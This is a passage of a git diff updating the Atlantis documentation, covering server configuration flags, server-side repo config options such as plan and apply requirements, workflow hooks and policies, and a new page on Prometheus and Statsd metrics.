atlantis server --require-approval + atlantis server --silence-allowlist-errors + # or + ATLANTIS_SILENCE_ALLOWLIST_ERRORS=true ``` - This flag is deprecated. It requires all pull requests to be approved - before `atlantis apply` is allowed. See [Apply Requirements](apply-requirements.html) for more details. - Instead of using this flag, create a server-side `--repo-config` file: - ```yaml - # repos.yaml - repos: - - id: /.*/ - apply_requirements: [approved] + Some users use the `--repo-allowlist` flag to control which repos Atlantis + responds to. Normally, if Atlantis receives a pull request webhook from a repo not listed + in the allowlist, it will comment back with an error. This flag disables that commenting. + + Some users find this useful because they prefer to add the Atlantis webhook + at an organization level rather than on each repo. + +### `--silence-fork-pr-errors` + + ```bash + atlantis server --silence-fork-pr-errors + # or + ATLANTIS_SILENCE_FORK_PR_ERRORS=true ``` - Or use `--repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["approved"]}]}'` instead. -* ### `--require-mergeable` - + Normally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set, + it will comment back with an error. This flag disables that commenting. + +### `--silence-no-projects` + ```bash - atlantis server --require-mergeable + atlantis server --silence-no-projects + # or + ATLANTIS_SILENCE_NO_PROJECTS=true ``` - This flag is deprecated. It causes all pull requests to be mergeable - before `atlantis apply` is allowed. See [Apply Requirements](apply-requirements.html) for more details. - Instead of using this flag, create a server-side `--repo-config` file: - ```yaml - # repos.yaml - repos: - - id: /.*/ - apply_requirements: [mergeable] + `--silence-no-projects` will tell Atlantis to ignore PRs if none of the modified files are part of a project defined in the `atlantis.yaml` file. + This flag ensures an Atlantis server only responds to its explicitly declared projects. + This has no effect if projects are undefined in the repo level `atlantis.yaml`. + This also silences targeted commands (eg. `atlantis plan -d mydir` or `atlantis apply -p myproj`) so if the project is not in the repo config `atlantis.yaml`, these commands will not run or report back in a comment. + + This is useful when running multiple Atlantis servers against a single repository so you can + delegate work to each Atlantis server. Also useful when used with pre_workflow_hooks to dynamically generate an `atlantis.yaml` file. + +### `--silence-vcs-status-no-plans` + + ```bash + atlantis server --silence-vcs-status-no-plans + # or + ATLANTIS_SILENCE_VCS_STATUS_NO_PLANS=true ``` - Or use `--repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}'` instead. -* ### `--silence-fork-pr-errors` + `--silence-vcs-status-no-plans` will tell Atlantis to ignore setting VCS status on plans if none of the modified files are part of a project defined in the `atlantis.yaml` file. + +### `--silence-vcs-status-no-projects` + ```bash - atlantis server --silence-fork-pr-errors + atlantis server --silence-vcs-status-no-projects + # or + ATLANTIS_SILENCE_VCS_STATUS_NO_PROJECTS=true ``` - Normally, if Atlantis receives a pull request webhook from a fork and --allow-fork-prs is not set, - it will comment back with an error. This flag disables that commenting. -* ### `--silence-whitelist-errors` - - Deprecated for `--silence-allowlist-errors`. -* ### `--silence-allowlist-errors` + `--silence-vcs-status-no-projects` will tell Atlantis to ignore setting VCS status on any command if none of the modified files are part of a project defined in the `atlantis.yaml` file. + +### `--skip-clone-no-changes` + ```bash - atlantis server --silence-allowlist-errors + atlantis server --skip-clone-no-changes + # or + ATLANTIS_SKIP_CLONE_NO_CHANGES=true ``` - Some users use the `--repo-allowlist` flag to control which repos Atlantis - responds to. Normally, if Atlantis receives a pull request webhook from a repo not listed - in the allowlist, it will comment back with an error. This flag disables that commenting. - Some users find this useful because they prefer to add the Atlantis webhook - at an organization level rather than on each repo. + `--skip-clone-no-changes` will skip cloning the repo during autoplan if there are no changes to Terraform projects. This will only apply for GitHub and GitLab and only for repos that have `atlantis.yaml` file. Defaults to `false`. + +### `--slack-token` -* ### `--slack-token` ```bash atlantis server --slack-token=token # or (recommended) - ATLANTIS_SLACK_TOKEN='token' atlantis server + ATLANTIS_SLACK_TOKEN='token' ``` - API token for Slack notifications. Slack is not fully supported. TODO: Slack docs. -* ### `--ssl-cert-file` + API token for Slack notifications. See [Using Slack hooks](sending-notifications-via-webhooks.md#using-slack-hooks). + +### `--ssl-cert-file` + ```bash atlantis server --ssl-cert-file="/etc/ssl/certs/my-cert.crt" + # or + ATLANTIS_SSL_CERT_FILE="/etc/ssl/certs/my-cert.crt" ``` + File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. -* ### `--ssl-key-file` +### `--ssl-key-file` + ```bash - atlantis server --ssl-cert-file="/etc/ssl/private/my-cert.key" + atlantis server --ssl-key-file="/etc/ssl/private/my-cert.key" + # or + ATLANTIS_SSL_KEY_FILE="/etc/ssl/private/my-cert.key" ``` + File containing x509 private key matching `--ssl-cert-file`. -* ### `--tf-download-url` +### `--stats-namespace` + + ```bash + atlantis server --stats-namespace="myatlantis" + # or + ATLANTIS_STATS_NAMESPACE="myatlantis" + ``` + + Namespace for emitting stats/metrics. See [stats](stats.md) section. + +### `--tf-distribution` + + + Deprecated for `--default-tf-distribution`. + +### `--tf-download` + + ```bash + atlantis server --tf-download=false + # or + ATLANTIS_TF_DOWNLOAD=false + ``` + +Defaults to `true`. Allow Atlantis to list and download additional versions of Terraform. +Setting this to `false` can be useful in an air-gapped environment where a download mirror is not available. + +### `--tf-download-url` + ```bash atlantis server --tf-download-url="https://releases.company.com" + # or + ATLANTIS_TF_DOWNLOAD_URL="https://releases.company.com" ``` + An alternative URL to download Terraform versions if they are missing. Useful in an airgapped environment where releases.hashicorp.com is not available. Directory structure of the custom endpoint should match that of releases.hashicorp.com. -* ### `--tfe-hostname` + This has no impact if `--tf-download` is set to `false`. + + This setting is not yet supported when `--tf-distribution` is set to `opentofu`. + +### `--tfe-hostname` + ```bash atlantis server --tfe-hostname="my-terraform-enterprise.company.com" + # or + ATLANTIS_TFE_HOSTNAME="my-terraform-enterprise.company.com" ``` + Hostname of your Terraform Enterprise installation to be used in conjunction with - `--tfe-token`. See [Terraform Cloud](terraform-cloud.html) for more details. + `--tfe-token`. See [Terraform Cloud](terraform-cloud.md) for more details. If using Terraform Cloud (i.e. you don't have your own Terraform Enterprise installation) no need to set since it defaults to `app.terraform.io`. -* ### `--tfe-token` +### `--tfe-local-execution-mode` + + ```bash + atlantis server --tfe-local-execution-mode + # or + ATLANTIS_TFE_LOCAL_EXECUTION_MODE=true + ``` + + Enable if you're using local execution mode (instead of TFE/C's remote execution mode). See [Terraform Cloud](terraform-cloud.md) for more details. + +### `--tfe-token` + ```bash atlantis server --tfe-token="xxx.atlasv1.yyy" # or (recommended) ATLANTIS_TFE_TOKEN='xxx.atlasv1.yyy' ``` - A token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](terraform-cloud.html) for more details. -* ### `--vcs-status-name` + A token for Terraform Cloud/Terraform Enterprise integration. See [Terraform Cloud](terraform-cloud.md) for more details. + +### `--use-tf-plugin-cache` + +```bash +atlantis server --use-tf-plugin-cache=false +# or +ATLANTIS_USE_TF_PLUGIN_CACHE=false +``` + +Set to false if you want to disable terraform plugin cache. + +This flag is useful when having multiple projects that need to run a plan and apply in the same PR to avoid the race condition of `plugin_cache_dir` concurrently, this is a terraform known issue, more info: + +* [plugin_cache_dir concurrently discussion](https://github.com/hashicorp/terraform/issues/31964) +* [PR to improve the situation](https://github.com/hashicorp/terraform/pull/33479) + +The effect of the race condition is more evident when using parallel configuration to run plan and apply, by disabling the use of plugin cache will impact in the performance when starting a new plan or apply, but in large atlantis deployments with multiple projects and shared modules the use of `--parallel_plan` and `--parallel_apply` is mandatory for an efficient management of the PRs. + +### `--var-file-allowlist` + + ```bash + atlantis server --var-file-allowlist='/path/to/tfvars/dir' + # or + ATLANTIS_VAR_FILE_ALLOWLIST='/path/to/tfvars/dir' + ``` + + Comma-separated list of additional directory paths where [variable definition files](https://developer.hashicorp.com/terraform/language/values/variables#variable-definitions-tfvars-files) can be read from. + The paths in this argument should be absolute paths. Relative paths and globbing are currently not supported. + If this argument is not provided, it defaults to Atlantis' data directory, determined by the `--data-dir` argument. + +### `--vcs-status-name` + ```bash atlantis server --vcs-status-name="atlantis-dev" + # or + ATLANTIS_VCS_STATUS_NAME="atlantis-dev" ``` + Name used to identify Atlantis when updating a pull request status. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository so you can give each Atlantis server its own unique name to prevent the statuses clashing. -* ### `--write-git-creds` +### `--web-basic-auth` + + ```bash + atlantis server --web-basic-auth + # or + ATLANTIS_WEB_BASIC_AUTH=true + ``` + + Enable Basic Authentication on the Atlantis web service. + +### `--web-password` + + ```bash + atlantis server --web-password="atlantis" + # or + ATLANTIS_WEB_PASSWORD="atlantis" + ``` + + Password used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. + +### `--web-username` + + ```bash + atlantis server --web-username="atlantis" + # or + ATLANTIS_WEB_USERNAME="atlantis" + ``` + + Username used for Basic Authentication on the Atlantis web service. Defaults to `atlantis`. + +### `--webhook-http-headers` + + ```bash + atlantis server --webhook-http-headers='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' + # or + ATLANTIS_WEBHOOK_HTTP_HEADERS='{"Authorization":"Bearer some-token","X-Custom-Header":["value1","value2"]}' + ``` + + Additional headers added to each HTTP POST payload when using [http webhooks](sending-notifications-via-webhooks.md#using-http-webhooks) + provided as a JSON string. The map key is the header name and the value is the header value + (string) or values (array of string). + +### `--websocket-check-origin` + + ```bash + atlantis server --websocket-check-origin + # or + ATLANTIS_WEBSOCKET_CHECK_ORIGIN=true + ``` + + Only allow websockets connection when they originate from the running Atlantis web server + +### `--write-git-creds` + ```bash atlantis server --write-git-creds # or ATLANTIS_WRITE_GIT_CREDS=true ``` + Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH. See [here](https://git-scm.com/docs/git-credential-store) for more information. + + Follow the `git::ssh` syntax to avoid using a custom `.gitconfig` with an `insteadOf`. + + ```hcl + module "private_submodule" { + source = "git::ssh://git@github.com////modules/?ref=v1.2.3" + + # ... + } + ``` + ::: warning SECURITY WARNING This does write secrets to disk and should only be enabled in a secure environment. ::: diff --git a/runatlantis.io/docs/server-side-repo-config.md b/runatlantis.io/docs/server-side-repo-config.md index 9fc6746311..892466a747 100644 --- a/runatlantis.io/docs/server-side-repo-config.md +++ b/runatlantis.io/docs/server-side-repo-config.md @@ -1,25 +1,29 @@ # Server Side Repo Config -A Server-Side Repo Config file is used to control per-repo behaviour + +A Server-Side Config file is used for more groups of server config that can't reasonably be expressed through flags. + +One such usecase is to control per-repo behaviour and what users can do in repo-level `atlantis.yaml` files. -[[toc]] +## Do I Need A Server-Side Config File? -## Do I Need A Server-Side Repo Config File? You do not need a server-side repo config file unless you want to customize some aspect of Atlantis on a per-repo basis. Read through the [use-cases](#use-cases) to determine if you need it. -## Enabling Server Side Repo Config +## Enabling Server Side Config + To use server side repo config create a config file, ex. `repos.yaml`, and pass it to the `atlantis server` command via the `--repo-config` flag, ex. `--repo-config=path/to/repos.yaml`. If you don't wish to write a config file to disk, you can use the `--repo-config-json` flag or `ATLANTIS_REPO_CONFIG_JSON` environment variable -to specify your config as JSON. See [--repo-config-json](server-configuration.html#repo-config-json) +to specify your config as JSON. See [--repo-config-json](server-configuration.md#repo-config-json) for an example. ## Example Server Side Repo + ```yaml # repos lists the config for specific repos. repos: @@ -28,9 +32,23 @@ repos: # Repo ID's are of the form {VCS hostname}/{org}/{repo name}, ex. # github.com/runatlantis/atlantis. - id: /.*/ + # branch is an regex matching pull requests by base branch + # (the branch the pull request is getting merged into). + # By default, all branches are matched + branch: /.*/ + + # repo_config_file specifies which repo config file to use for this repo. + # By default, atlantis.yaml is used. + repo_config_file: path/to/atlantis.yaml + + # plan_requirements sets the Plan Requirements for all repos that match. + plan_requirements: [approved, mergeable, undiverged] # apply_requirements sets the Apply Requirements for all repos that match. - apply_requirements: [approved, mergeable] + apply_requirements: [approved, mergeable, undiverged] + + # import_requirements sets the Import Requirements for all repos that match. + import_requirements: [approved, mergeable, undiverged] # workflow sets the workflow for all repos that match. # This workflow must be defined in the workflows section. @@ -38,13 +56,53 @@ repos: # allowed_overrides specifies which keys can be overridden by this repo in # its atlantis.yaml file. - allowed_overrides: [apply_requirements, workflow] + allowed_overrides: [apply_requirements, workflow, delete_source_branch_on_merge, repo_locking, repo_locks, custom_policy_check] + + # allowed_workflows specifies which workflows the repos that match + # are allowed to select. + allowed_workflows: [custom] # allow_custom_workflows defines whether this repo can define its own # workflows. If false (default), the repo can only use server-side defined # workflows. allow_custom_workflows: true + # delete_source_branch_on_merge defines whether the source branch would be deleted on merge + # If false (default), the source branch won't be deleted on merge + delete_source_branch_on_merge: true + + # repo_locking defines whether lock repository when planning. + # If true (default), atlantis try to get a lock. + # deprecated: use repo_locks instead + repo_locking: true + + # repo_locks defines whether the repository would be locked on apply instead of plan, or disabled + # Valid values are on_plan (default), on_apply or disabled. + repo_locks: + mode: on_plan + + # custom_policy_check defines whether policy checking tools besides Conftest are enabled in checks + # If false (default), only Conftest JSON output is allowed + custom_policy_check: false + + # pre_workflow_hooks defines arbitrary list of scripts to execute before workflow execution. + pre_workflow_hooks: + - run: my-pre-workflow-hook-command arg1 + + # post_workflow_hooks defines arbitrary list of scripts to execute after workflow execution. + post_workflow_hooks: + - run: my-post-workflow-hook-command arg1 + + # policy_check defines if policy checking should be enable on this repository. + policy_check: false + + # autodiscover defines how atlantis should automatically discover projects in this repository. + autodiscover: + mode: auto + # Optionally ignore some paths for autodiscovery by a glob path + ignore_paths: + - foo/* + # id can also be an exact match. - id: github.com/myorg/specific-repo @@ -65,96 +123,158 @@ workflows: ``` ## Use Cases + Here are some of the reasons you might want to use a repo config. -### Requiring PR Is Approved Before Apply +### Requiring PR Is Approved Before an applicable subcommand + If you want to require that all (or specific) repos must have pull requests -approved before Atlantis will allow running `apply`, use the `apply_requirements` key. +approved before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: + ```yaml # repos.yaml repos: - id: /.*/ + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] ``` For a specific repo: + ```yaml # repos.yaml repos: - id: github.com/myorg/myrepo + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] ``` -See [Apply Requirements](apply-requirements.html) for more details. +See [Command Requirements](command-requirements.md) for more details. + +### Requiring PR Is "Mergeable" Before Apply or Import -### Requiring PR Is "Mergeable" Before Apply If you want to require that all (or specific) repos must have pull requests -in a mergeable state before Atlantis will allow running `apply`, use the `apply_requirements` key. +in a mergeable state before Atlantis will allow running `apply` or `import`, use the `plan_requirements`, `apply_requirements` or `import_requirements` keys. For all repos: + ```yaml # repos.yaml repos: - id: /.*/ + plan_requirements: [mergeable] apply_requirements: [mergeable] + import_requirements: [mergeable] ``` For a specific repo: + ```yaml # repos.yaml repos: - id: github.com/myorg/myrepo + plan_requirements: [mergeable] apply_requirements: [mergeable] + import_requirements: [mergeable] ``` -See [Apply Requirements](apply-requirements.html) for more details. +See [Command Requirements](command-requirements.md) for more details. + +### Repos Can Set Their Own Apply an applicable subcommand -### Repos Can Set Their Own Apply Requirements If you want all (or specific) repos to be able to override the default apply requirements, use the `allowed_overrides` key. To allow all repos to override the default: + ```yaml # repos.yaml repos: - id: /.*/ # The default will be approved. + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] # But all repos can set their own using atlantis.yaml - allowed_overrides: [apply_requirements] + allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` + To allow only a specific repo to override the default: + ```yaml # repos.yaml repos: # Set a default for all repos. - id: /.*/ + plan_requirements: [approved] apply_requirements: [approved] + import_requirements: [approved] # Allow a specific repo to override. - id: github.com/myorg/myrepo - allowed_overrides: [apply_requirements] + allowed_overrides: [plan_requirements, apply_requirements, import_requirements] ``` Then each allowed repo can have an `atlantis.yaml` file that -sets `apply_requirements` to an empty array (disabling the requirement). +sets `plan_requirements`, `apply_requirements` or `import_requirements` to an empty array (disabling the requirement). + ```yaml -# atlantis.yaml in the repo root +# atlantis.yaml in the repo root or set repo_config_file in repos.yaml version: 3 projects: - dir: . + plan_requirements: [] apply_requirements: [] + import_requirements: [] +``` + +### Running Scripts Before Atlantis Workflows + +If you want to run scripts that would execute before Atlantis can run default or +custom workflows, you can create a `pre-workflow-hooks`: + +```yaml +repos: + - id: /.*/ + pre_workflow_hooks: + - run: my custom command + - run: | + my bash script inline ``` +See [Pre Workflow Hooks](pre-workflow-hooks.md) for more details on writing +pre workflow hooks. + +### Running Scripts After Atlantis Workflows + +If you want to run scripts that would execute after Atlantis runs default or +custom workflows, you can create a `post-workflow-hooks`: + +```yaml +repos: + - id: /.*/ + post_workflow_hooks: + - run: my custom command + - run: | + my bash script inline +``` + +See [Post Workflow Hooks](post-workflow-hooks.md) for more details on writing +post workflow hooks. + ### Change The Default Atlantis Workflow + If you want to change the default commands that Atlantis runs during `plan` and `apply` phases, you can create a new `workflow`. If you want to use that workflow by default for all repos, use the workflow key `default`: + ```yaml # repos.yaml # NOTE: the repos key is not required. @@ -170,10 +290,11 @@ workflows: - run: my custom apply command ``` -See [Custom Workflows](custom-workflows.html) for more details on writing +See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. ### Allow Repos To Choose A Server-Side Workflow + If you want repos to be able to choose their own workflows that are defined in the server-side repo config, you need to create the workflows server-side and then allow each repo to override the `workflow` key: @@ -205,6 +326,40 @@ workflows: - run: another custom command ``` +Or, if you want to restrict what workflows each repo has access to, use the `allowed_workflows` +key: + +```yaml +# repos.yaml +# Restrict which workflows repos can select. +repos: +- id: /.*/ + allowed_overrides: [workflow] + +- id: /my_repo/ + allowed_overrides: [workflow] + allowed_workflows: [custom1] + +# Define your custom workflows. +workflows: + custom1: + plan: + steps: + - init + - run: my custom plan command + apply: + steps: + - run: my custom apply command + + custom2: + plan: + steps: + - run: another custom command + apply: + steps: + - run: another custom command +``` + Then each allowed repo can choose one of the workflows in their `atlantis.yaml` files: @@ -221,10 +376,15 @@ There is always a workflow named `default` that corresponds to Atlantis' default unless you've created your own server-side workflow with that key (overriding it). ::: -See [Custom Workflows](custom-workflows.html) for more details on writing +See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. +### Allow Using Custom Policy Tools + +Conftest is the standard policy check application integrated with Atlantis, but custom tools can still be run in custom workflows when the `custom_policy_check` option is set. See the [Custom Policy Checks page](custom-policy-checks.md) for detailed examples. + ### Allow Repos To Define Their Own Workflows + If you want repos to be able to define their own workflows you need to allow them to override the `workflow` key and set `allow_custom_workflows` to `true`. @@ -248,6 +408,7 @@ repos: ``` Then each allowed repo can define and use a custom workflow in their `atlantis.yaml` files: + ```yaml # atlantis.yaml version: 3 @@ -265,32 +426,93 @@ workflows: - run: my custom apply command ``` -See [Custom Workflows](custom-workflows.html) for more details on writing +See [Custom Workflows](custom-workflows.md) for more details on writing custom workflows. +### Multiple Atlantis Servers Handle The Same Repository + +Running multiple Atlantis servers to handle the same repository can be done to separate permissions for each Atlantis server. +In this case, a different [atlantis.yaml](repo-level-atlantis-yaml.md) repository config file can be used by using different `repos.yaml` files. + +For example, consider a situation where a separate `production-server` atlantis uses repo config `atlantis-production.yaml` and `staging-server` atlantis uses repo config `atlantis-staging.yaml`. + +Firstly, deploy 2 Atlantis servers, `production-server` and `staging-server`. +Each server has different permissions and a different `repos.yaml` file. +The `repos.yaml` contains `repo_config_file` key to specify the repository atlantis config file path. + +```yaml +# repos.yaml +repos: +- id: /.*/ + # for production-server + repo_config_file: atlantis-production.yaml + # for staging-server + # repo_config_file: atlantis-staging.yaml +``` + +Then, create `atlantis-production.yaml` and `atlantis-staging.yaml` files in the repository. +See the configuration examples in [atlantis.yaml](repo-level-atlantis-yaml.md). + +```yaml +# atlantis-production.yaml +version: 3 +projects: +- name: project + branch: /production/ + dir: infrastructure/production +--- +# atlantis-staging.yaml +version: 3 +projects: + - name: project + branch: /staging/ + dir: infrastructure/staging +``` + +Now, 2 webhook URLs can be setup for the repository, which send events to `production-server` and `staging-server` respectively. +Each servers handle different repository config files. + +:::tip Notes + +* If `no projects` comments are annoying, set [--silence-no-projects](server-configuration.md#silence-no-projects). +* The command trigger executable name can be reconfigured from `atlantis` to something else by setting [Executable Name](server-configuration.md#executable-name). +* When using different atlantis server vcs users such as `@atlantis-staging`, the comment `@atlantis-staging plan` can be used instead `atlantis plan` to call `staging-server` only. +::: + ## Reference ### Top-Level Keys -| Key | Type | Default | Required | Description | -|-----------|---------------------------------------------------------|-----------|----------|---------------------------------------------------------------------------------------| -| repos | array[[Repo](#repo)] | see below | no | List of repos to apply settings to. | -| workflows | map[string: [Workflow](custom-workflows.html#workflow)] | see below | no | Map from workflow name to workflow. Workflows override the default Atlantis commands. | +| Key | Type | Default | Required | Description | +|------------|-------------------------------------------------------|-----------|----------|---------------------------------------------------------------------------------------| +| repos | array[[Repo](#repo)] | see below | no | List of repos to apply settings to. | +| workflows | map[string: [Workflow](custom-workflows.md#workflow)] | see below | no | Map from workflow name to workflow. Workflows override the default Atlantis commands. | +| policies | Policies. | none | no | List of policy sets to run and associated metadata | +| metrics | Metrics. | none | no | Map of metric configuration | +| team_authz | [TeamAuthz](#teamauthz) | none | no | Configuration of team permission checking | ::: tip A Note On Defaults + #### `repos` + `repos` always contains a first element with the Atlantis default config: + ```yaml repos: - id: /.*/ + branch: /.*/ + plan_requirements: [] apply_requirements: [] + import_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: false ``` #### `workflows` + `workflows` always contains the Atlantis default workflow under the key `default`: + ```yaml workflows: default: @@ -299,24 +521,39 @@ workflows: apply: steps: [apply] ``` + This gets merged with whatever config you write. If you set a workflow with the key `default`, it will override this. ::: ### Repo -| Key | Type | Default | Required | Description | -|------------------------|----------|---------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| id | string | none | yes | Value can be a regular expression when specified as /<regex>/ or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. | -| workflow | string | none | no | A custom workflow. | -| apply_requirements | []string | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved` and `mergeable`. See [Apply Requirements](apply-requirements.html) for more details. | -| allowed_overrides | []string | none | no | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements` and `workflow` | -| allow_custom_workflows | bool | false | no | Whether or not to allow [Custom Workflows](custom-workflows.html). | +| Key | Type | Default | Required | Description | +|-------------------------------|-------------------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| id | string | none | yes | Value can be a regular expression when specified as /<regex>/ or an exact string match. Repo IDs are of the form `{vcs hostname}/{org}/{name}`, ex. `github.com/owner/repo`. Hostname is specified without scheme or port. For Bitbucket Server, {org} is the **name** of the project, not the key. | +| branch | string | none | no | An regex matching pull requests by base branch (the branch the pull request is getting merged into). By default, all branches are matched | +| repo_config_file | string | none | no | Repo config file path in this repo. By default, use `atlantis.yaml` which is located on repository root. When multiple atlantis servers work with the same repo, please set different file names. | +| workflow | string | none | no | A custom workflow. | +| plan_requirements | []string | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| apply_requirements | []string | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| import_requirements | []string | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](command-requirements.md) for more details. | +| allowed_overrides | []string | none | no | A list of restricted keys that `atlantis.yaml` files can override. The only supported keys are `apply_requirements`, `workflow`, `delete_source_branch_on_merge`,`repo_locking`, `repo_locks`, and `custom_policy_check` | +| allowed_workflows | []string | none | no | A list of workflows that `atlantis.yaml` files can select from. | +| allow_custom_workflows | bool | false | no | Whether or not to allow [Custom Workflows](custom-workflows.md). | +| delete_source_branch_on_merge | bool | false | no | Whether or not to delete the source branch on merge. | +| repo_locking | bool | false | no | (deprecated) Whether or not to get a lock. | +| repo_locks | [RepoLocks](#repolocks) | `mode: on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. See [RepoLocks](#repolocks) for more details. | +| policy_check | bool | false | no | Whether or not to run policy checks on this repository. | +| custom_policy_check | bool | false | no | Whether or not to enable custom policy check tools outside of Conftest on this repository. | +| autodiscover | AutoDiscover | none | no | Auto discover settings for this repo | +| silence_pr_comments | []string | none | no | Silence PR comments from defined stages while preserving PR status checks. Useful in large environments with many Atlantis instances and/or projects, when the comments are too big and too many, therefore it is preferable to rely solely on PR status checks. Supported values are: `plan`, `apply`. | :::tip Notes + * If multiple repos match, the last match will apply. * If a key isn't defined, it won't override a key that matched from above. For example, given a repo ID `github.com/owner/repo` and a config: + ```yaml repos: - id: /.*/ @@ -327,12 +564,14 @@ If you set a workflow with the key `default`, it will override this. ``` The final config will look like: + ```yaml apply_requirements: [] workflow: default allowed_overrides: [] allow_custom_workflows: true ``` + Where * `apply_requirements` is set from the `id: github.com/owner/repo` config because it overrides the previous matching config from `id: /.*/`. @@ -343,3 +582,65 @@ If you set a workflow with the key `default`, it will override this. * `allow_custom_workflows` is set from the `id: /.*/` config and isn't unset by the `id: github.com/owner/repo` config because it didn't define that key. ::: + +### RepoLocks + +```yaml +mode: on_apply +``` + +| Key | Type | Default | Required | Description | +|------|--------|-----------|----------|---------------------------------------------------------------------------------------------------------------------------------------| +| mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | + +### Policies + +| Key | Type | Default | Required | Description | +|------------------------|-----------------|---------|-----------|----------------------------------------------------------| +| conftest_version | string | none | no | conftest version to run all policy sets | +| owners | Owners(#Owners) | none | yes | owners that can approve failing policies | +| approve_count | int | 1 | no | number of approvals required to bypass failing policies. | +| policy_sets | []PolicySet | none | yes | set of policies to run on a plan output | + +### Owners + +| Key | Type | Default | Required | Description | +|-------------|-------------------|---------|------------|---------------------------------------------------------| +| users | []string | none | no | list of github users that can approve failing policies | +| teams | []string | none | no | list of github teams that can approve failing policies | + +### PolicySet + +| Key | Type | Default | Required | Description | +| ------ | ------ | ------- | -------- | --------------------------------------------------------------------------------------------------------------| +| name | string | none | yes | unique name for the policy set | +| path | string | none | yes | path to the rego policies directory | +| source | string | none | yes | only `local` is supported at this time | +| prevent_self_approve | bool | false | no | Whether or not the author of PR can approve policies. Defaults to `false` (the author must also be in owners) | + +### Metrics + +| Key | Type | Default | Required | Description | +|------------------------|---------------------------|---------|-----------|------------------------------------------| +| statsd | [Statsd](#statsd) | none | no | Statsd metrics provider | +| prometheus | [Prometheus](#prometheus) | none | no | Prometheus metrics provider | + +### Statsd + +| Key | Type | Default | Required | Description | +| ------ | ------ | ------- | -------- | -------------------------------------- | +| host | string | none | yes | statsd host ip address | +| port | string | none | yes | statsd port | + +### Prometheus + +| Key | Type | Default | Required | Description | +| -------- | ------ | ------- | -------- | -------------------------------------- | +| endpoint | string | none | yes | path to metrics endpoint | + +### TeamAuthz + +| Key | Type | Default | Required | Description | +|---------|----------|---------|----------|---------------------------------------------| +| command | string | none | yes | full path to external authorization command | +| args | []string | none | no | optional arguments to pass to `command` | diff --git a/runatlantis.io/docs/stats.md b/runatlantis.io/docs/stats.md new file mode 100644 index 0000000000..9c6073ab64 --- /dev/null +++ b/runatlantis.io/docs/stats.md @@ -0,0 +1,63 @@ +# Metrics/Stats + +Atlantis exposes a set of metrics for each of its operations including errors, successes, and latencies. + +::: warning NOTE +Currently Statsd and Prometheus is supported. See configuration below for details. +::: + +## Configuration + +Metrics are configured through the [Server Side Config](server-side-repo-config.md#metrics). + +## Available Metrics + +Assuming metrics are exposed from the endpoint `/metrics` from the [metrics](server-side-repo-config.md#metrics) server side config e.g. + +```yaml +metrics: + prometheus: + endpoint: "/metrics" +``` + +To see all the metrics exposed from atlantis service, make a GET request to the `/metrics` endpoint. + +```bash +curl localhost:4141/metrics +# HELP atlantis_cmd_autoplan_builder_execution_error atlantis_cmd_autoplan_builder_execution_error counter +# TYPE atlantis_cmd_autoplan_builder_execution_error counter +atlantis_cmd_autoplan_builder_execution_error 0 +# HELP atlantis_cmd_autoplan_builder_execution_success atlantis_cmd_autoplan_builder_execution_success counter +# TYPE atlantis_cmd_autoplan_builder_execution_success counter +atlantis_cmd_autoplan_builder_execution_success 10 +# HELP atlantis_cmd_autoplan_builder_execution_time atlantis_cmd_autoplan_builder_execution_time summary +# TYPE atlantis_cmd_autoplan_builder_execution_time summary +atlantis_cmd_autoplan_builder_execution_time{quantile="0.5"} NaN +atlantis_cmd_autoplan_builder_execution_time{quantile="0.75"} NaN +atlantis_cmd_autoplan_builder_execution_time{quantile="0.95"} NaN +atlantis_cmd_autoplan_builder_execution_time{quantile="0.99"} NaN +atlantis_cmd_autoplan_builder_execution_time{quantile="0.999"} NaN +atlantis_cmd_autoplan_builder_execution_time_sum 11.42403017 +atlantis_cmd_autoplan_builder_execution_time_count 10 +..... +..... +..... +``` + +::: tip NOTE +The output shown above is trimmed, since with every new version release this metric set will need to be updated accordingly as there may be a case if some metrics are added/modified/deprecated, so the output shown above just gives a brief idea of how these metrics look like and rest can be explored. +::: + +Important metrics to monitor are + +| Metric Name | Metric Type | Purpose | +|------------------------------------------------|----------------------------------------------------------------------|-------------------------------------------------------------------------------------| +| `atlantis_cmd_autoplan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | number of times when [autoplan](autoplanning.md#autoplanning) has thrown error. | +| `atlantis_cmd_comment_plan_execution_error` | [counter](https://prometheus.io/docs/concepts/metric_types/#counter) | 